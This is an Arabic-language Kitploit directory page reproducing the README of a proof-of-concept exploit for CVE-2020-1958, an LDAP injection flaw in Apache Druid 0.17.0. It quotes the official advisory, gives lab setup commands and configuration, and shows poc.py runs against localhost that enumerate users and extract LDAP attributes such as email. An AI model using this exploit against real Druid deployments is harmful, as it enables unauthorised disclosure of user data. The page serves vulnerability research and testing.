Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-1958 — إثبات مفهوم لاستغلال CVE-2020-1958، وهي ثغرة حقن LDAP في Apache Druid 0.17.0، تتيح تعداد المستخدمين واستخراج سمات LDAP. | Kitploit
أدوات/GitHubGitHub/ggolawski/cve-2020-1958
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالمصادقة
GitHubggolawski/cve-2020-1958

CVE-2020-1958

إثبات مفهوم لاستغلال CVE-2020-1958، وهي ثغرة حقن LDAP في Apache Druid 0.17.0، تتيح تعداد المستخدمين واستخراج سمات LDAP.

عرض المستودع
2181منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-1958 PoC

CVE-2020-1958 هي ثغرة عالية الخطورة من نوع حقن LDAP في Apache Druid الإصدار 0.17.0. تسمح للمهاجم بتجاوز مرشح بحث LDAP واسترجاع أي قيم لسمات LDAP للمستخدمين الموجودين على خادم LDAP.

من الإشعار الرسمي لـ Apache Druid:

عند تمكين مصادقة LDAP:

  • يمكن للمتصلين بواجهات برمجة تطبيقات Druid بمجموعة صالحة من بيانات اعتماد LDAP تجاوز حاجز مرشح credentialsValidator.userSearch الذي يحدد ما إذا كان مستخدم LDAP صالحًا مسموحًا له بالمصادقة مع Druid. لا يزالون خاضعين لفحوصات التفويض المستندة إلى الأدوار، إذا تم تكوينها.
  • يمكن للمتصلين بواجهات برمجة تطبيقات Druid استرجاع أي قيم لسمات LDAP للمستخدمين الموجودين على خادم LDAP، طالما أن تلك المعلومات مرئية لخادم Druid. لا يتطلب هذا الكشف عن المعلومات أن يكون المتصل نفسه مستخدم LDAP صالحًا.

PoC

يوضح النص البرمجي poc.py كيف يمكن لمهاجم غير مصرح له تعداد المستخدمين على خادم LDAP المدمج مع Druid وجلب قيمة أي سمة لأي مستخدم.

خادم اختبار Druid المحلي

تخط هذه الخطوة إذا كان لديك بالفعل خادم Druid مع تمكين مصادقة LDAP.

  1. قم بتنزيل Druid 0.17.0 واستخراجه

    root@kitploit:~
    $ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
    $ tar -zxf apache-druid-0.17.0-bin.tar.gz
    
  • قم بتمكين وتكوين مصادقة LDAP في conf/druid/single-server/nano-quickstart/_common/common.runtime.properties

    • تمكين ملحق druid-basic-security

      حدد موقع druid.extensions.loadList وأضف druid-basic-security:

      root@kitploit:~
      druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
      
    • تكوين مصادقة LDAP

      أضف ما يلي في نهاية الملف:

      root@kitploit:~
      druid.auth.authenticatorChain=["ldap"]
      
      druid.auth.authenticator.ldap.type=basic
      druid.auth.authenticator.ldap.initialAdminPassword=password
      druid.auth.authenticator.ldap.initialInternalClientPassword=password
      druid.auth.authenticator.ldap.credentialsValidator.type=ldap
      druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
      druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
      druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
      druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
      druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
      
      druid.escalator.type=basic
      druid.escalator.internalClientUsername=user1
      druid.escalator.internalClientPassword=user1
      druid.escalator.authorizerName=MyAuthorizer
      
      druid.auth.authorizers=["MyAuthorizer"]
      druid.auth.authorizer.MyAuthorizer.type=basic
      druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
      druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
      druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
      
  • تشغيل خادم OpenLDAP

    root@kitploit:~
    $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
    
  • استيراد المستخدمين من users.ldif إلى LDAP

    root@kitploit:~
    $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
    
  • تشغيل خادم Druid

    root@kitploit:~
    $ bin/start-nano-quickstart
    
  • تعداد المستخدمين

    asciicast

    root@kitploit:~
    $ ./poc.py --url http://127.0.0.1:8888/
    [INFO] Enumerating users from http://127.0.0.1:8888/
    admin1
    admin2
    admin3
    admin4
    admin5
    admin6
    admin7
    user1
    user2
    user3
    user4
    

    استرجاع قيم سمات LDAP للمستخدم admin1

    asciicast

    root@kitploit:~
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
    [INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
    [email protected]
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
    [INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
    admin1
    $ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
    [INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
    last
    
    تنزيل الأداة